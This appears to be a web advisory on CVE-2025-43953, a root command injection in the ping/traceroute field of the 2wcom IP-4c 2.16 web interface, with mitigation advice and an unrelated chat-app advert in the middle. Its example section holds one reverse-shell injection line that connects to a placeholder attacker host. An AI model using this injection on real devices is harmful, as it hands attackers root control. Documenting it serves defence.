Overview
A high-risk vulnerability, identified as CVE-2025-43953, has been discovered in the 2wcom IP-4c 2.16. This vulnerability affects the web interface of the product, allowing administrative and managerial users to execute arbitrary code as root. This poses a significant threat to organizations that utilize the 2wcom IP-4c for their operations, as it can lead to system compromise or data leakage. Given the severity of this vulnerability, it is critical for affected users to understand the vulnerability and take immediate action to mitigate its potential impacts.
Vulnerability Summary
CVE ID: CVE-2025-43953
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: High (Admin or Manager User)
User Interaction: Required
Impact: System Compromise, Data Leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
2wcom IP-4c | 2.16
How the Exploit Works
The vulnerability exists within the web interface of the 2wcom IP-4c 2.16 product. The ping or traceroute field on the TCP/IP screen does not properly sanitize user input, allowing for the insertion of arbitrary code. When a privileged user (admin or manager) inputs malicious code into these fields, the system executes the code as root. This allows an attacker to gain unauthorized control over the system or cause data leakage.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited. In this example, malicious shell commands are inserted into the ping field on the TCP/IP screen:
ping; /bin/bash -i >& /dev/tcp/attacker-ip/8080 0>&1In this example, after the `ping;` command, the system executes a bash shell that connects back to the attacker’s machine, giving the attacker control over the system.
Mitigation Guidance
Users are advised to apply the vendor patch as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and block the types of requests used to exploit this vulnerability, protecting the system from potential compromises.
Please note that these are only temporary solutions and that the only way to completely mitigate this vulnerability is to apply the vendor’s patch once it’s released. Please ensure to keep your systems up to date and regularly check for any security updates.
